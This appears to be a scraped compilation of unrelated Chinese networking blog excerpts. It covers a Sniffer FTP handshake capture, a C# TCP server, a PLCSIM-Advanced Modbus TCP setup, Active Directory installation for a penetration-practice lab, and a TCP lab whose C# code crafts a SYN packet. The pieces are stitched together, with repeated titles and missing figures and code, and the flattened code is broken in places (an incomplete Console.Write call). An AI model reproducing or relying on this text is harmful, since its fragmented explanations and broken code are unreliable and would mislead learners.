最后,点击Sniffer中的“停止捕捉”,选择“Decode”选项,完成FTP命令操作过程数据包的捕获,并显示在屏幕上。

二、TCP连接建立过程详解图2是通过Sniffer工具捕获的FTP客户端与FTP服务器之间一个TCP连接的建立过程。

从图中可以看到Sniffer首先捕获了1、2、3三行记录。

其中:第1行表示:FTP客户端76.88.16.104从1038端口向FTP服务器76.88.16.16的21端口发起一个带有SYN标志的连接请求,初始序列号SEQ=1791872318。

C#TCP多线程服务器示例

C#TCP多线程服务器示例

C#TCP 多线程服务器⽰例前⾔之前⼀直很少接触多线程这块。

这次项⽬中刚好⽤到了⽹络编程TCP 这块,做⼀个服务端,需要使⽤到多线程,所以记录下过程。

希望可以帮到⾃⼰的同时能给别⼈带来⼀点点收获~关于TCP 的介绍就不多讲,神马经典的三次握⼿、四次握⼿,可以参考下⾯⼏篇博客学习了解:效果预览客户端是⼀个门禁设备,主要是向服务端发送实时数据(200ms)。

服务端解析出进出⼈数并打印显⽰。

实现步骤因为主要是在服务器上监听各设备的连接请求以及回应并打印出⼊⼈数,所以界⾯我设计成这样:然后可以开始我们的点击事件启动服务啦⾸先我们创建负责监听的套接字,⽤到了 .Socket 下的寻址⽅案AddressFamily ,然后后⾯跟套接字类型,最后是⽀持的协议。

其中 WatchConnecting ⽅法是负责监听新客户端请求的其中接收数据 RecMsg⽅法如下:⼼得体会:其实整个流程并不复杂,但我遇到⼀个问题是,客户端每200毫秒发⼀次连接过来后,服务端会报⼀个远程主机已经强制关闭连接,开始我以为是我这边服务器线程间的问题或者是阻塞神马的,后来和客户端联调才发现问题,原来是服务器回应客户端⼼跳包的长度有问题,服务端定义的是1024字节,但是客户端只接受32字节的⼼跳包回应才会正确解析~所以,对接协议要沟通清楚,沟通清楚,沟通清楚,重要的事情说说三遍还有⼏个点值得注意1,有时候会遇到窗体间的控件访问异常,需要这样处理2多线程调试⽐较⿇烦,可以采⽤打印⽇志的⽅式,例如:具体实现可以参考我的另⼀篇博客:调⽤⽅法如下,注意,此处的package 的结构应该和协议中客户端发送的数据结构⼀致才能转换如协议中是这样的定义的话:Demo 下载 TCP 多线程服务器及客户端Demo密码:3hzsgit ⼀下:收发实体对象2017.3.11 补充如果服务器和客户端公⽤⼀个实体类,那还好说,如果服务器和客户端分别使⽤结构相同但不是同⼀个项⽬下的实体类,该如何⽤正确的姿势收发呢?⾸先简单看看效果如下:具体实现:因为前⾯提到不在同⼀项⽬下,如果直接序列化和反序列化,就会反序列化失败,因为不能对不是同⼀命名空间下的类进⾏此类操作,那么解决办法可以新建⼀个类库Studnet ,然后重新⽣成dll ,在服务器和客户端分别引⽤此dll ,就可以对此dll 进⾏序列化和反序列化操作了。

基于PLCSIM-Advanced搭建ModbusTCP通信仿真环境

基于PLCSIM-Advanced搭建ModbusTCP通信仿真环境

基于PLCSIM-Advanced搭建ModbusTCP通信仿真环境1、写在前面当我们学习Modbus TCP时,我们可以采用Modbus Poll + Modbus Slave快速搭建一个Modbus TCP的环境,看似很美好,但是深入学习之后,大家就会发现Modbus Slave的一个弊端,Modbus Slave只能仿真4个存储区中的1个存储区,如果我们通信时,涉及到多个存储区,那么Modbus Slave就很难满足要求了。

这时候,有的人就会问,有没有方法解决这个问题,搭建一个Modbus TCP服务器,并且同时支持4个存储区呢?答案是有的,今天主要讲述如何基于S7-PLCSIM Advanced搭建Modbus TCP服务器仿真环境。

2、PLCSIM-Advanced安装对于该软件的获取,大家可以去西门子相关网站下载,也可从下方链接获取:【免费领取】这个免费的软件资源库,你一定要收藏好!PLCSIM-Advanced的安装也比较简单,基本上是一路NEXT即可,但是主要的是PLCSIM-Advanced会依赖WinPcap软件,所以大家可以提前安装好WinPcap,即使不提前安装,安装过程中也会提示你安装的。

安装完成后,电脑中会额外多出一个虚拟网卡,名称为Siemens PLCSIM Virtual Ethernet Adapter,如下图:3、PLCSIM-Advanced使用安装完成后,桌面上会多出一个图标,即S7-PLCSIM AdvancedV3.0,如下图所示:该软件的使用可以按照下方的步骤执行和确定,一定要记住以下需要注意的地方,否则一个很小的问题,可能会让你浪费半天的时间,这样就得不偿失了。

(1)软件要以管理员权限运行:可以直接每次右击,以管理员权限运行,如果想一劳永逸,可以点击图标,右击属性,在兼容性中,将以管理员身份运行此程序的选项勾选。

(2)将本地网卡及虚拟网卡的IP地址获取设置为自动获取。

域渗透基础之环境搭建(单域到组件域林)

域渗透基础之环境搭建(单域到组件域林)

域渗透基础之环境搭建(单域到组件域林)之前练习域渗透的环境被我弄丢了 重新搭建⼀个完整的域环境吧。

域渗透的基础还是环境的搭建,单域到域树再到域林。

单域环境搭建创建域的必备条件DNS域名:先要想好⼀个符合dns格式的域名,如 DNS服务器:域中需要将⾃⼰注册到DNS服务器内,瓤其他计算机通过DNS服务器来找到这台机器,因此需要⼀台可⽀持AD的DNS服务器,并且⽀持动态更新(如果现在没有DNS服务器,则可以在创建域的过程中,选择这台域控上安装DNS服务器)注:AD需要⼀个SYSVOL⽂件夹来存储域共享⽂件(例如域组策略有关的⽂件),该⽂件夹必须位于NTFS磁盘,系统默认创建在系统盘,为了性能建议按照到其他分区。

⾸先来搭建⼀个域控制器 这⾥使⽤win2008 R2纯净版搭建活动⽬录安装准备:A、服务器设置密码 B、配置静态IP地址(虚拟机环境搭建测试)1、单击“开始—运⾏”输⼊安装命令“dcpromo”,打开AD域服务安装向导;Window会检查活动⽬录服务的⼆进制⽂件,等检查完毕后,如果没有发现错误,会弹出活动⽬录服务安装向导,点击【下⼀步】,如图:在“选择某⼀部署”页选择“在新林中创建新域”,点击【下⼀步】,如图密码不能为空~~输⼊要设置的域名,域名格式为XXX.XXX形式,其中中间的“.”为必须须项,如果没有,⽆法进⼊下⼀步操作,点击【下⼀步】设置域名后,Windows会对域名的有效性进⾏检查在“设置林功能级别”中,下拉选择Windows2008 R2,点击下⼀步,如图:在“其他域控制器选项”中,勾选中DNS,如图:点击【下⼀步】打开⾃定义数据库,⽇志,Sysvlog⽂件存放位置对话框,这⾥选择默认,如图:点击【下⼀步】后打开设置域还原密码设置,当以后需要还原域设置时,会⽤到此密码,如图点击【下⼀步】来到活动⽬录摘要页,此页简单显⽰了向导设置的域控制器属性,如图:点击【下⼀步】,Windows就开始安装活动⽬录,勾选“完成后重新启动”,系统会在安装活动⽬录后⾃动重新启动计算机。

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动手学习TCP系列之环境搭建环境搭建和配置在开始进行实验之前,首先看看实验环境的搭建:Wireshark:用来抓取网络上的包,可以清楚的看到TCP/IP协议层,以及每层的详细信息,通过此处下载一台虚拟机:如果客户端和服务端都在本机,那么数据通信是不经过网卡的,所以Wireshark 就抓不到任何数据包。

方便的办法就是本机安装一个虚拟机,通过本机和虚拟机通信进行实验。

我使用的是VirtualBox+winXP.:是一个WinPcap的.NET wrapper,基于这个库,我们就可以很方便的通过C#代码来实现下面功能(通过此处下载):获取网络设备接收、解析数据包创建、发送数据包在建立好实验环境之后,还需要进行一些简单的配置,保证宿主机和虚拟机之间的网络是畅通的。

将虚拟机网络设置为"Host-only Adapter"模式。

虚拟机网络设置好之后,就可以配置本机和虚拟机IP地址了,然后保证宿主机可以ping通虚拟机。

环境验证通过上面的步骤,简单的实验环境就建立完成了,下面就要来实现客户端和服务端了,试试实验环境是否能够正常工作。

服务端首先,将虚拟机(192.168.56.102)作为服务端,运行下面一段代码创建一个简单的socket server,服务端绑定192.168.56.102:8081:import sysfrom socket import *HOST = "192.168.56.102"PORT = 8081BUFSIZ = 1024ADDR = (HOST, PORT)server = socket(AF_INET, SOCK_STREAM)print "Socket created"try:server.bind(ADDR)except error, msg:print 'Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1] sys.exit()server.listen(10)print 'Socket now listening'while True:conn, addr = server.accept()try:data = conn.recv(100)if data:print dataexcept Exception, e:print econn.close()客户端客户端的实现在本机(192.168.56.101),使用一段基于的代码向服务器发送一个[SYN]包(TCP连接建立需要进行三次握手,[SYN]包就是第一个握手包),来请求建立TCP连接。

在客户端代码中,通过实现了两个工具函数,一个用来获取本机网卡设备列表,一个用在构造不同类型的TPC包。

获取本机网卡设备列表代码:public static PacketDevice GetNICDevice(){// Retrieve the device list from the local machineIList allDevices = LivePacketDevice.AllLocalMachine;if (allDevices.Count == 0){Console.WriteLine("No interfaces found! Make sure WinPcap is installed.");return null;}// Print the device listfor (int i = 0; i != allDevices.Count; ++i){LivePacketDevice device = allDevices[i];Console.Write((i + 1) + ". " + );if (device.Description != null)Console.WriteLine(" (" + device.Description + ")");elseConsole.WriteLine(" (No description available)");}int deviceIndex = 0;do{Console.WriteLine("Enter the interface number (1-" + allDevices.Count + "):");string deviceIndexString = Console.ReadLine();if (!int.TryParse(deviceIndexString, out deviceIndex) || deviceIndex < 1 || deviceIndex > allDevices.Count){deviceIndex = 0;}} while (deviceIndex == 0);return allDevices[deviceIndex - 1];}另一段重要的代码就是构造TCP包的代码,根据OSI七层模型,下面代码中分别创建了链路层、网络层和传输层的部分,然后生成一个数据包:public static Packet BuildTcpPacket(EndPointInfo endPointInfo, TcpControlBits tcpControlBits, List tcpOptionList = null){EthernetLayer ethernetLayer =new EthernetLayer{Source = new MacAddress(endPointInfo.SourceMac),Destination = new MacAddress(endPointInfo.DestinationMac), EtherType = EthernetType.None, // Will be filled automatically. };IpV4Layer ipV4Layer =new IpV4Layer{Source = new IpV4Address(endPointInfo.SourceIp),CurrentDestination = new IpV4Address(endPointInfo.DestinationIp), Fragmentation = IpV4Fragmentation.None,HeaderChecksum = null, // Will be filled automatically.Identification = 123,Options = IpV4Options.None,Protocol = null, // Will be filled automatically.Ttl = 10,TypeOfService = 0,};TcpLayer tcpLayer =new TcpLayer{SourcePort = endPointInfo.SourcePort,DestinationPort = endPointInfo.DestinationPort,Checksum = null, // Will be filled automatically.SequenceNumber = seqNum,AcknowledgmentNumber = ackNum,ControlBits = tcpControlBits,Window = windowSize,UrgentPointer = 0,Options = (tcpOptionList == null) ? TcpOptions.None : new TcpOptions(tcpOptionList),};PacketBuilder builder = new PacketBuilder(ethernetLayer, ipV4Layer, tcpLayer);return builder.Build(DateTime.Now);}主程序中,首先配置了客户端和服务器的端口、IP/MAC地址信息,然后通过前面两个工具函数构造一个TCP连接建立请求包([SYN]包),并通过"VirtualBox Host-Only Network"网卡发送给服务端。

static void Main(string[] args){// Take the selected adapterPacketDevice selectedDevice = Utils.GetNICDevice();// Open the output deviceusing (PacketCommunicator communicator = selectedDevice.Open(System.Int32.MaxValue, // name of the device PacketDeviceOpenAttributes.Promiscuous, // promiscuous mode1)) // read timeout{EndPointInfo endPointInfo = new EndPointInfo();endPointInfo.SourceMac = "08:00:27:00:C0:D5";endPointInfo.DestinationMac = "08:00:27:70:A6:AE";endPointInfo.SourceIp = "192.168.56.101";endPointInfo.DestinationIp = "192.168.56.102";endPointInfo.SourcePort = 3330;endPointInfo.DestinationPort = 8081;using (BerkeleyPacketFilter filter = communicator.CreateFilter("tcp port " + endPointInfo.DestinationPort)){// Set the filtercommunicator.SetFilter(filter);}communicator.SendPacket(Utils.BuildTcpPacket(endPointInfo, TcpControlBits.Synchronize, null));PacketHandler(communicator, endPointInfo);}Console.WriteLine("Press Enter to Quit!");Console.ReadLine();}private static void PacketHandler(PacketCommunicator communicator, EndPointInfo endPointInfo){Packet packet = null;do{PacketCommunicatorReceiveResult result = communicator.ReceivePacket(out packet);switch (result){case PacketCommunicatorReceiveResult.Timeout:// Timeout elapsedcontinue;case PacketCommunicatorReceiveResult.Ok:Utils.PacketInfoPrinter(packet);break;default:throw new InvalidOperationException("The result " + result + " shouldnever be reached here");}} while (true);}运行代码代码完成了,下面看看运行效果,为了直观的看到数据包的传输,这是就可以打开Wireshark 了。

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